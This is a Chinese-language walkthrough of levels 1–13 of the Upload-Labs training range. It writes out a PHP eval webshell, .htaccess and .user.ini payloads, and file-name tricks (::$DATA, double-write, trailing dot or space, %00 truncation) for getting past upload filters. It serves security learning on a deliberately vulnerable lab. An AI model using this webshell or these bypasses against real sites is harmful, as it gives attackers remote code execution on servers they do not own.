《Upload-Labs》01. Pass 1~13

Upload-Labs

  • 索引
  • 前言
  • Pass-01
    • 题解
  • Pass-02
    • 题解
    • 总结
  • Pass-03
    • 题解
    • 总结
  • Pass-04
    • 题解
  • Pass-05
    • 题解
    • 总结
  • Pass-06
    • 题解
    • 总结
  • Pass-07
    • 题解
    • 总结
  • Pass-08
    • 题解
    • 总结
  • Pass-09
    • 题解
  • Pass-10
    • 题解
  • Pass-11
    • 题解
  • Pass-12
    • 题解
    • 总结
  • Pass-13
    • 题解


靶场部署在 VMware - Win7。

靶场地址:https://github.com/c0ny1/upload-labs

部分题目可能需要白盒审计。

索引

  • Pass-01:前端绕过。
  • Pass-02:MIME-Type 绕过。
  • Pass-03:黑名单绕过之 ::$DATA 与双写绕过。
  • Pass-04:.htaccess 利用。
  • Pass-05:.user.ini 利用。
  • Pass-06:黑名单绕过之大小写绕过。
  • Pass-07:黑名单绕过之空格绕过。
  • Pass-08:黑名单绕过之点【.】绕过。
  • Pass-09:黑名单绕过之 ::$DATA 绕过。
  • Pass-10:黑名单绕过之点空格点绕过。
  • Pass-11:黑名单绕过之双写绕过。
  • Pass-12:白名单绕过之 %00 截断绕过,GET 方式。
  • Pass-13:白名单绕过之 %00 截断绕过,POST 方式。

前言

编写一句话木马并更改后缀为 .jpg。之后的实验都基于这个木马。

<?php echo 'Hello!';@eval($_POST['hello']);
?>

请添加图片描述

相关文章:

《一句话木马@eval($_POST[“cmd“]);是什么意思》
https://blog.csdn.net/qq_62708558/article/details/123030828

Pass-01

题解

任何前端验证都是纸老虎。

上传时使用 burp 拦截,并将文件后缀修改回 .php

在这里插入图片描述

上传成功,右键查看文件地址。

在这里插入图片描述

木马已成功执行。

在这里插入图片描述

尝试蚁剑连接,成功。

在这里插入图片描述

Pass-02

题解

上传文件并进行后缀与 Content-Type 绕过。

在这里插入图片描述

上传成功。

在这里插入图片描述

总结

MIME-Type,资源媒体类型。

MIME(Multipurpose Internet Mail Extensions),多功能网际邮件扩充协议。

  • MIME 设计的最初目的是为了在发送电子邮件时附加多媒体数据,让邮件客户程序能根据其类型进行处理。
  • 当 MIME 被 HTTP 协议支持后,使 HTTP 传输的不仅是普通的文本而变得丰富多彩。
  • 访问网页获得一个资源后,浏览器通过 MIME Type(媒体资源类型)标识资源类型,更准确的说,是通过 Content-Type 标识。
    • 例如:Content-Type: text/html
  • 通常只有广泛应用的格式才会获得一个 MIME Type,如果是自定义的格式,一般只能以 application/x- 开头。

常见的 MIME 类型

  • 超文本标记语言文本(.html、.htm):
    text/html
  • 普通文本(.txt):
    text/plain
  • RTF 文本(.rtf):
    application/rtf
  • GIF 图形(.gif):
    image/gif
  • JPEG 图形(.jpeg、.jpg):
    image/jpeg
  • au 声音文件(.au):
    audio/basic
  • MIDI 音乐文件(.mid、.midi):
    audio/midi, audio/x-midi
  • RealAudio音乐文件(.ra、.ram):
    audio/x-pn-realaudio
  • MPEG 文件(.mpg, .mpeg):
    video/mpeg
  • AVI 文件(.avi):
    video/x-msvideo
  • GZIP 文件(.gz):
    application/x-gzip
  • TAR 文件(.tar):
    application/x-tar

Pass-03

题解

之前的方法均失败。不过仍然是黑名单过滤。

由于靶场部署在 Windows,利用 Windows 保存文件的特性,尝试将后缀名改为 .php::$DATA

上传成功但无法访问。

在这里插入图片描述

猜测后端过滤了 ::$DATA,尝试以下后缀名(双写绕过):

.php::$D::$DATAATA

在这里插入图片描述

上传成功。

在这里插入图片描述

总结

::$DATA 是一个与 NTFS 文件系统相关的特殊数据流的命名约定,用于存储与文件关联的额外数据。

NTFS(New Technology File System)是 Windows 上常见的文件系统,支持文件的元数据和附加数据存储。

Windows 上,如果文件名 + ::$DATA,系统会把 ::$DATA 之后的数据当成文件流处理,且保持 ::$DATA 之前的文件名。

例如:文件名为:phpinfo.php::$DATA,Windows 会自动去掉 ::$DATA 将文件保存为 phpinfo.php

除此以外,服务端对不合法的后缀名进行替换为空是常用手段。

Pass-04

题解

这一题使用 .htaccess 文件进行黑名单绕过。但尝试了很多版本与配置都没办法复现。这里只记录大致过程。

创建一个 .htaccess 文件并写入以下内容。

<FilesMatch "520.jpg">SetHandler application/x-httpd-php
</FilesMatch>

先上传 .htaccess 文件,再上传 jpg 格式后门。即可过关。

但是失败了。可能实现条件比较苛刻。

这里附上几篇参考文章:

《文件上传-uploadlab通关手册》
https://blog.csdn.net/qq_51153463/article/details/124547943

《upload-labs通关总结|那些年踩过的坑》
https://blog.csdn.net/m0_56691564/article/details/127614557

Pass-05

题解

已知在靶场服务器的上传文件保存目录下存在 readme.php 文件。

先上传如下 .user.ini 文件。

auto_prepend_file=520.jpg

在这里插入图片描述

再上传木马,之后访问 readme.php 文件即可。

在这里插入图片描述

总结

参考文章:

《【文件上传漏洞】user.ini留后门》
https://blog.csdn.net/weixin_53146913/article/details/124840296

《文件上传:.user.ini的妙用》
https://blog.csdn.net/weixin_52635170/article/details/126962920

Pass-06

题解

上传检测基于黑名单,尝试使用大小写绕过。抓包修改,后缀名部分字母大写。

在这里插入图片描述

之后复制链接访问即可。

总结

对于文件名,Windows 系统对大小写不敏感。Linux 系统默认对大小写敏感,如需修改则需要特殊配置。

Pass-07

题解

使用空格绕过。

抓包修改后缀名,在文件名最后加上一个空格。

在这里插入图片描述

之后访问即可。

总结

Windows 下 x.jpg【空格】 或者 xx.jpg. 这两类文件是不允许存在的。

如果这样命名,系统在保存时会默认去除末尾的空格和点。

Pass-08

题解

使用点绕过。在文件名最后加上一个点。

在这里插入图片描述

上传成功。

总结

Windows 下 x.jpg【空格】 或者 xx.jpg. 这两类文件是不允许存在的。

如果这样命名,系统在保存时会默认去除末尾的空格和点。

Pass-09

题解

原理与 Pass-03 相同,::$DATA 绕过。

在这里插入图片描述

Pass-10

题解

点空格点绕过(利用验证规则不完善)。

在这里插入图片描述

Pass-11

题解

双写绕过。

在这里插入图片描述

服务端对不合法的后缀名进行替换为空是常用手段。

Pass-12

题解

这题通过代码审计可以发现发现 $img_path 变量可控。

使用 %00 截断,让后面的代码不执行。

在这里插入图片描述

在这里插入图片描述

总结

%00 截断:

  • 利用手动添加字符串标识符的方式来将后面的内容进行截断。
  • PHP <= 5.3.4。
  • php.ini 文件中 magic_quotes_gpc = Off。

Pass-13

题解

与 Pass-12 一样,$img_path 变量依旧可控,但是使用 POST 传送。

POST 传送的数据不需要编码,也就是说数据不会自动解码,此时需要使用 burp 解码。

在这里插入图片描述

在这里插入图片描述


为山者,基于一篑之土,以成千丈之峭;凿井者,起于三寸之坎,以就万仞之深。

——《刘子》(北齐)刘子

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/90946.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

基于Java的旅游管理系统设计与实现(源码+lw+部署文档+讲解等)

文章目录 前言具体实现截图论文参考详细视频演示为什么选择我自己的网站自己的小程序&#xff08;小蔡coding&#xff09;有保障的售后福利 代码参考源码获取 前言 &#x1f497;博主介绍&#xff1a;✌全网粉丝10W,CSDN特邀作者、博客专家、CSDN新星计划导师、全栈领域优质创作…

FreeRTOS入门教程(任务优先级,Tick)

文章目录 前言一、什么是任务优先级二、FreeRTOS如何分辨出优先级最高可运行的任务三、FreeRTOS中的时钟节拍Tick四、什么是时间片五、相同优先级任务怎么进行切换六、任务优先级实验七、修改任务优先级总结 前言 本篇文章将带大家学习FreeRTOS中的任务优先级&#xff0c;并且…

GPT-4科研实践:数据可视化、统计分析、编程、机器学习数据挖掘、数据预处理、代码优化、科研方法论

查看原文>>>GPT4科研实践技术与AI绘图 GPT对于每个科研人员已经成为不可或缺的辅助工具&#xff0c;不同的研究领域和项目具有不同的需求。例如在科研编程、绘图领域&#xff1a;1、编程建议和示例代码: 无论你使用的编程语言是Python、R、MATLAB还是其他语言&#x…

【SSL】用Certbot生成免费HTTPS证书

1. 实验背景 服务器&#xff1a;CentOS7.x 示例域名&#xff1a; www.example.com 域名对应的web站点目录&#xff1a; /usr/local/openresty/nginx/html 2. 安装docker # yum -y install yum-utils# yum-config-manager --add-repo https://download.docker.com/linux/ce…

web:[极客大挑战 2019]LoveSQL

题目 打开页面显示如下 查看源代码&#xff0c;查到一个check.php&#xff0c;还是get传参 尝试账号密码输入 题目名为sql&#xff0c;用万能密码 1or 11# 或 admin or 11 给了一段乱码&#xff0c;也不是flag 查看字段数 /check.php?usernameadmin order by 3%23&pass…

Word | 简单可操作的快捷公式编号、右对齐和引用方法

1. 问题描述 在理工科论文的写作中&#xff0c;涉及到大量的公式输入&#xff0c;我们希望能够按照章节为公式进行编号&#xff0c;并且实现公式居中&#xff0c;编号右对齐的效果。网上有各种各样的方法来实现&#xff0c;操作繁琐和简单的混在一起&#xff0c;让没有接触过公…

Redis学习笔记(常用数据类型,发布订阅,事务和锁机制,持久化,集群,雪崩,缓存击穿,分布式锁)

一、NoSQL数据库简介 解决扩展性问题&#xff0c;如果需要对功能进行改变&#xff08;比如增删功能&#xff09;&#xff0c;用框架有一定的规范要求&#xff0c;无形中解决了扩展性问题。 Redis是一种典型的NoSQL数据库。 NoSQL的基础作用&#xff1a; 1. nginx负载均衡反向…

Armv9读取cache内容:Direct access to internal memory

10 访问cache Cortex-A720核心提供一种机制,通过IMPLEMENTATION DEFINED系统寄存器可以读取L1缓存、L2缓存和Translation Lookaside Buffer(TLB)。当缓存数据与系统内存数据之间的一致性异常时,您可以使用此机制来调查任何问题。 只有在EL3中才可以访问内部内存(cache)。…

排序:最佳归并树(优化外部排序中对磁盘的读写次数)

1.归并树的性质 每个初始归并段对应一个叶子结点&#xff0c;把归并段的块数作为叶子的权值归并树的WPL树中所有叶结点的带权路径长度之和归并过程中的磁盘I/O次数归并树的WPL*2 如下图&#xff1a; 每个初始归并段看作一个叶子结点&#xff0c;归并段的长度作为结点权值&a…

C/C++进程线程超详细详解

目录 前言 一、进程基础 1.进程概念 2.进程特征 3.进程状态&#xff08;如图清晰可见&#xff09; 4&#xff0c;进程的标识 实例代码如下&#xff1a; 5.进程的种类 实例shell脚本程序如下: 二、进程API 1.创建子进程 实例代码如下&#xff1a; 2.exec函数族 函数…

Socket网络编程练习题四:客户端上传文件(多线程版)

题目 想要服务器不停止&#xff0c;能接收很多客户上传的图片&#xff1f; 解决方案 可以使用循环或者多线程 但是循环不合理&#xff0c;最优解法是&#xff08;循环多线程&#xff09;改写 代码实战 客户端代码 package com.heima;import java.io.*; import java.net.S…

深度学习算法在工业视觉落地的思考

0.废话 距离上次的栈板识别的思考已经过去3个月&#xff0c;中间根据客户的需求和自己的思考&#xff0c;对软件又重新做了调整。但是整体上还是不满意。 0.1 老生常谈的工业视觉落地架构 对于软件架构&#xff0c;我实在没有太多的参考。没办法&#xff0c;公司根本不关心软…

使用华为eNSP组网试验⑵-通过端口地址进行静态路由

有了网络模拟器可以对很多网络应用场景进行模拟&#xff0c;既方便学习又有利于实际的网络实施。 之前因为没有用过&#xff0c;用过了才知道eNSP的好处。但是与思科模拟器不同&#xff0c;连接是自动连接&#xff0c;不能确定端口&#xff0c;比如使用指定的光纤端口或者RJ45的…

CSS详细基础(六)边框样式

本期是CSS基础的最后一篇~ 目录 一.border属性 二.边框属性复合写法 三.CSS修改表格标签 四.内边距属性 五.外边距属性 六.其他杂例 1.盒子元素水平居中 2.清除网页内外元素边距 3.外边距的合并与塌陷 4.padding不会撑大盒子的情况 七.综合案例——新浪导航栏仿真 …

QT按钮介绍

目录 按钮基类 QAbstractButton QPushButton QToolButton QRadioButton QCheckBox 按钮基类 QAbstractButton 这是按钮的基类&#xff0c;它是继承QWidget类 它可对当前的图标&#xff0c;标题等进行设置。 它有自己的一些信号与槽函数&#xff1a; /* 当按钮被激活时(即…

Chrome(谷歌浏览器)如何关闭搜索栏历史记录

目录 问题描述解决方法插件解决&#xff08;亲测有效&#xff09;自带设置解决步骤首先打开 地址 输入&#xff1a;chrome://flags关闭浏览器&#xff0c;重新打开Chrome 发现 已经正常 问题描述 Chrome是大家熟知的浏览器&#xff0c;但是搜索栏的历史记录如何自己一条条的删…

asp.net core mvc 文件上传,下载,预览

//文件上传用到了IformFile接口 1.1文件上传视图 <form action"/stu/upload" method"post" enctype"multipart/form-data"><input type"file" name"img" /><input type"submit" value"上传&…

国庆day1

发送数据 #include<myhead.h>//消息结构体 typedef struct {long msgtype; //消息类型char data[1024]; //消息正文 }Msg_ds;#define SIZE sizeof(Msg_ds)-sizeof(long) //正文大小 int main(int argc, const char *argv[]) {//1、创建key值key_t ke…

Microsoft Office无法重装报错30015-44(3) 0-2031(17004)

1.问题描述 由于迁移文件夹导致Microsoft office软件无法使用&#xff0c;于是准备卸载重装&#xff0c;但是点击OfficeSetup.exe出现报错30015-44(3) 关闭后出现以下报错0-2031(17004) 2. 尝试的解决方式 重启后仍然无法解决问题 2.1 参考官网解决办法 手动从控制面板&…

Spring源码分析(四) Aop全流程

一、Spring AOP基础概念 1、基础概念 连接点(Join point)&#xff1a;能够被拦截的地方&#xff0c;Spring AOP 是基于动态代理的&#xff0c;所以是方法拦截的&#xff0c;每个成员方法都可以称之为连接点&#xff1b;切点(Poincut)&#xff1a;每个方法都可以称之为连接点&…